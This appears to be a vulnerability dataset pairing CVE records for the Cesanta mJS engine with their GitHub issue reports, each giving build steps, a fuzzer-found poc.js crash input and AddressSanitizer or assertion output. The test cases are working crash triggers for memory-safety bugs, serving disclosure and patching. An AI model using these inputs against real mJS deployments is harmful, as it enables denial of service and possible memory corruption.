==61262==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc3387c0b8 (pc 0x00000057a83c bp 0x7ffc338787d0 sp 0x7ffc33878338 T0)
#0 0x57a83b in snquote /root/mjs/src/mjs_json.c:102:7
#1 0x57a83b in to_json_or_debug /root/mjs/src/mjs_json.c:167
#2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
#3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
#4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
#5 0x7f82916bcb96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)
SUMMARY: AddressSanitizer: stack-overflow /root/mjs/src/mjs_json.c:102:7 in snquote
==61262==ABORTING
```
Credits: Found by OWL337 team.
| Stack-overflow mjs/src/mjs_json.c:102:7 in snquote | https://api.github.com/repos/cesanta/mjs/issues/200/comments | 0 | 2021-12-31T05:43:04Z | 2022-01-12T02:20:01Z | https://github.com/cesanta/mjs/issues/200 | 1,091,428,300 | 200 |
CVE-2021-46510 | 2022-01-27T21:15:09.507 | There is an Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed at src/mjs_gc.c in Cesanta MJS v2.20.0. | {
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"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
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DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function () {
((function f(a) {
if (a > 0) {
if (gc(JSON.stringify({
translate: ({
enumerable: [
!Object.create
]
})
})) !== f("switch(''){default:break;/*DUPTRY525*/}")('#1.1: -0 - -0 === 0. Actual: ' !== f(a - 1))) {
f(a - 1)
}
}
})(6))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_gc.c:354: gc_mark_string: Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed.
[1] 68013 abort mjs poc.js
```
Credits: Found by OWL337 team. | Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed src/mjs_gc.c:354: gc_mark_string. | https://api.github.com/repos/cesanta/mjs/issues/185/comments | 0 | 2021-12-31T05:20:39Z | 2022-01-12T02:18:09Z | https://github.com/cesanta/mjs/issues/185 | 1,091,423,652 | 185 |
CVE-2021-46511 | 2022-01-27T21:15:09.550 | There is an Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c in Cesanta MJS v2.20.0. | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function() {
((function JSEtest(a) {
if (a > 3) {
if ([Object.create.apply({}, [Object])]) {
JSEtest(Object.create.apply({}, [Object]))
}
}
})(6))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_core.c:372: mjs_pop_val: Assertion `m->len >= sizeof(v)' failed.
[1] 33895 abort mjs poc.js
```
Credits: Found by OWL337 team. | Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c:372: mjs_pop_val | https://api.github.com/repos/cesanta/mjs/issues/183/comments | 0 | 2021-12-31T05:18:57Z | 2022-01-12T02:17:55Z | https://github.com/cesanta/mjs/issues/183 | 1,091,423,222 | 183 |
CVE-2021-46512 | 2022-01-27T21:15:09.593 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_apply at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
Version:
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
((6) - Object.apply).apply()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==63672==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x558c2cbd497e bp 0x615000000080 sp 0x7ffc787d6e20 T0)
==63672==The signal is caused by a READ memory access.
==63672==Hint: address points to the zero page.
#0 0x558c2cbd497d in mjs_apply src/mjs_exec.c:1155
#1 0x558c2cbd58d4 in mjs_apply_ src/mjs_exec.c:515
#2 0x558c2cbc9244 in mjs_execute src/mjs_exec.c:853
#3 0x558c2cbd2a05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x558c2cbd2a05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x558c2cb8f909 in main src/mjs_main.c:47
#6 0x7ff8e5d7cb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x558c2cb90449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:1155 in mjs_apply
==63672==ABORTING
```
| SEGV src/mjs_exec.c:1155 in mjs_apply | https://api.github.com/repos/cesanta/mjs/issues/202/comments | 0 | 2021-12-31T07:29:20Z | 2021-12-31T07:29:20Z | https://github.com/cesanta/mjs/issues/202 | 1,091,456,612 | 202 |
CVE-2021-46513 | 2022-01-27T21:15:09.633 | Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via mjs_mk_string at mjs/src/mjs_string.c. | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify + 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064330b at pc 0x0000005b16f4 bp 0x7ffcd99733d0 sp 0x7ffcd99733c8
READ of size 8 at 0x00000064330b thread T0
#0 0x5b16f3 in mjs_mk_string /root/mjs/src/mjs_string.c:58:15
#1 0x580796 in mjs_op_json_stringify /root/mjs/src/mjs_json.c:495:13
#2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
#3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
#4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
#5 0x7f43da272b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)
0x00000064330b is located 53 bytes to the left of global variable '<string literal>' defined in 'src/mjs_builtin.c:140:21' (0x643340) of size 4
'<string literal>' is ascii string 'ffi'
0x00000064330b is located 5 bytes to the right of global variable '<string literal>' defined in 'src/mjs_builtin.c:138:21' (0x643300) of size 6
'<string literal>' is ascii string 'print'
SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/mjs_string.c:58:15 in mjs_mk_string
Shadow bytes around the buggy address:
0x0000800c0610: f9 f9 f9 f9 00 00 00 00 00 00 00 05 f9 f9 f9 f9
0x0000800c0620: 00 06 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000800c0630: 00 02 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000800c0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800c0650: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
=>0x0000800c0660: 06[f9]f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x0000800c0670: 00 04 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
0x0000800c0680: 07 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x0000800c0690: 03 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
0x0000800c06a0: 04 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9
0x0000800c06b0: 06 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==ABORTING
```
| Global-buffer-overflow mjs/src/mjs_string.c:58:15 in mjs_mk_string | https://api.github.com/repos/cesanta/mjs/issues/189/comments | 0 | 2021-12-31T05:24:24Z | 2021-12-31T05:49:18Z | https://github.com/cesanta/mjs/issues/189 | 1,091,424,556 | 189 |
CVE-2021-46514 | 2022-01-27T21:15:09.677 | There is an Assertion 'ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c in Cesanta MJS v2.20.0. | {
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function() {
((function JSEtest(a) {
if (a > 0) {
if (gc(gc --gc -- !== gc(' ' !== JSEtest(a - 1)))) {
JSEtest(a - 1)
}
}
})(6))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *): Assertion `ppos != NULL && mjs_is_number(*ppos)' failed.
[1] 32098 abort mjs poc.js
```
| Assertion `ppos != NULL && mjs_is_number(*ppos)' failed at src/mjs_core.c:311: int mjs_getretvalpos(struct mjs *). | https://api.github.com/repos/cesanta/mjs/issues/187/comments | 0 | 2021-12-31T05:22:41Z | 2021-12-31T08:13:20Z | https://github.com/cesanta/mjs/issues/187 | 1,091,424,159 | 187 |
CVE-2021-46515 | 2022-01-27T21:15:09.723 | There is an Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c in Cesanta MJS v2.20.0. | {
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"Issue Tracking",
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"Third Party Advisory"
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))(((JSON.stringify - (6) * 10000) - 20 * 9060)([([JSON.parse(JSON.stringify([(0)]))])]));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_exec.c:949: mjs_execute: Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed.
[1] 118000 abort mjs poc.js
```
Credits: Found by OWL337 team. | Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c:949: mjs_execute. | https://api.github.com/repos/cesanta/mjs/issues/186/comments | 0 | 2021-12-31T05:21:24Z | 2022-01-12T02:18:21Z | https://github.com/cesanta/mjs/issues/186 | 1,091,423,861 | 186 |
CVE-2021-46516 | 2022-01-27T21:15:09.767 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_stack_size at mjs/src/mjs_core.c. This vulnerability can lead to a Denial of Service (DoS). | {
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function () {
((function JSEtes(a) {
if (a > Object.create - (Object.create - -(a - 1) || ~(Object.create - -0))()) {
if ((a - 1) || ~(Object.create - -0)) {
JSEtes(a - 1)
}
}
})(200))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==ERROR: AddressSanitizer: SEGV on unknown address 0x01827fff800a (pc 0x00000053f631 bp 0x7ffd7d96fcb0 sp 0x7ffd7d96f820 T0)
==The signal is caused by a READ memory access.
#0 0x53f630 in mjs_stack_size /root/mjs/src/mjs_core.c:348:13
#1 0x53f630 in mjs_arg /root/mjs/src/mjs_core.c:326
#2 0x589a07 in mjs_op_create_object /root/mjs/src/mjs_object.c:270:23
#3 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
#4 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
#5 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
#6 0x7fa839d17b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
#7 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mjs/src/mjs_core.c:348:13 in mjs_stack_size
==ABORTING
```
| SEGV mjs/src/mjs_core.c:348:13 in mjs_stack_size | https://api.github.com/repos/cesanta/mjs/issues/201/comments | 0 | 2021-12-31T07:26:25Z | 2021-12-31T07:26:25Z | https://github.com/cesanta/mjs/issues/201 | 1,091,455,737 | 201 |
CVE-2021-46517 | 2022-01-27T21:15:09.813 | There is an Assertion `mjs_stack_size(&mjs->scopes) > 0' failed at src/mjs_exec.c in Cesanta MJS v2.20.0. | {
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"source": "[email protected]",
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"Issue Tracking",
"Patch",
"Third Party Advisory"
],
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function() {
((function JSEtest(a) {
if (a > 3) {
if ([((function JSEtest(a) {
if (a > 3) {
if ([Object.create.apply({}, [Object])]) {
Object.create.apply({}, [Object])
}
}
})(6))([((function JSEtest(a) {
if (a > 3) {
if ([Object.create.apply({}, [Object])]) {
Object.create.apply({}, [Object])
}
}
})(6))({}, [Object])])]) {
Object.create.apply({}, [Object])
}
}
})(6))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_exec.c:725: mjs_execute: Assertion `mjs_stack_size(&mjs->scopes) > 0' failed.
[1] 111718 abort mjs poc.js
```
| Assertion `mjs_stack_size(&mjs->scopes) > 0' failed src/mjs_exec.c:725: mjs_execute. | https://api.github.com/repos/cesanta/mjs/issues/184/comments | 0 | 2021-12-31T05:19:48Z | 2021-12-31T05:46:31Z | https://github.com/cesanta/mjs/issues/184 | 1,091,423,443 | 184 |
CVE-2021-46518 | 2022-01-27T21:15:09.857 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_disown at src/mjs_core.c. | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))(((JSON.stringify - 6.24321e2) - 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000138 at pc 0x563a2f179088 bp 0x7fff18d361c0 sp 0x7fff18d361b0
READ of size 8 at 0x604000000138 thread T0
#0 0x563a2f179087 in mjs_disown src/mjs_core.c:288
#1 0x563a2f1c7b54 in mjs_json_parse src/mjs_json.c:480
#2 0x7fff18d3630f (<unknown module>)
Address 0x604000000138 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_core.c:288 in mjs_disown
Shadow bytes around the buggy address:
0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff8000: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8010: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x0c087fff8020: fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa
0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/mjs_core.c:288 in mjs_disown | https://api.github.com/repos/cesanta/mjs/issues/195/comments | 0 | 2021-12-31T05:37:12Z | 2022-01-12T02:18:56Z | https://github.com/cesanta/mjs/issues/195 | 1,091,427,107 | 195 |
CVE-2021-46519 | 2022-01-27T21:15:09.900 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_array_length at src/mjs_array.c. | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function () {
((function JSEtes(a) {
if ((a - 1)) {
if ((isNaN)(JSON.stringify([])) !== JSON.stringify("start_port" !== [Object.create.apply({}, [Object])])) {
JSEtes(a - 1)
}
}
})(6))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
==109503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000150 at pc 0x55d8ef005f6d bp 0x7ffe7d357b00 sp 0x7ffe7d357af0
READ of size 8 at 0x607000000150 thread T0
#0 0x55d8ef005f6c in mjs_array_length src/mjs_array.c:83
#1 0x55d8ef005f6c in mjs_array_push src/mjs_array.c:115
#2 0x55d8ef027dd8 in mjs_execute src/mjs_exec.c:679
#3 0x55d8ef034a05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x55d8ef034a05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x55d8eeff1909 in main src/mjs_main.c:47
#6 0x7f6cb8331b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x55d8eeff2449 in _start (/usr/local/bin/Gmjs+0xe449)
0x607000000150 is located 0 bytes to the right of 80-byte region [0x607000000100,0x607000000150)
allocated by thread T0 here:
#0 0x7f6cb89e3d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55d8ef0527be in gc_new_block src/mjs_gc.c:94
#2 0x55d8ef0527be in gc_alloc_cell src/mjs_gc.c:133
#3 0x55d8ef0527be in new_object src/mjs_gc.c:45
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length
Shadow bytes around the buggy address:
0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length | https://api.github.com/repos/cesanta/mjs/issues/194/comments | 0 | 2021-12-31T05:36:16Z | 2021-12-31T05:36:16Z | https://github.com/cesanta/mjs/issues/194 | 1,091,426,932 | 194 |
CVE-2021-46520 | 2022-01-27T21:15:09.947 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_jprintf at src/mjs_util.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/cesanta/mjs/issues/193"
}
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
gc(JSON.stringify({
translate: [
Object.create
]
}))
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x55ed154d746c bp 0x7ffdfe204f10 sp 0x7ffdfe204f00
READ of size 1 at 0x60b0000000ab thread T0
#0 0x55ed154d746b in mjs_jprintf src/mjs_util.c:61
#1 0x55ed154d746b in mjs_fprintf src/mjs_util.c:93
#2 0x55ed153d5f78 in main src/mjs_main.c:51
#3 0x7fb412720b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#4 0x55ed153d7449 in _start (/usr/local/bin/Gmjs+0xe449)
0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
#0 0x7fb412dd2f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x55ed154e8346 in mbuf_resize src/common/mbuf.c:50
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf
Shadow bytes around the buggy address:
0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa 00 00
0x0c167fff8020: 00 00 00 00 00 00 00 00 00 00 07 fa fa fa fa fa
0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf | https://api.github.com/repos/cesanta/mjs/issues/193/comments | 0 | 2021-12-31T05:35:03Z | 2021-12-31T05:35:03Z | https://github.com/cesanta/mjs/issues/193 | 1,091,426,673 | 193 |
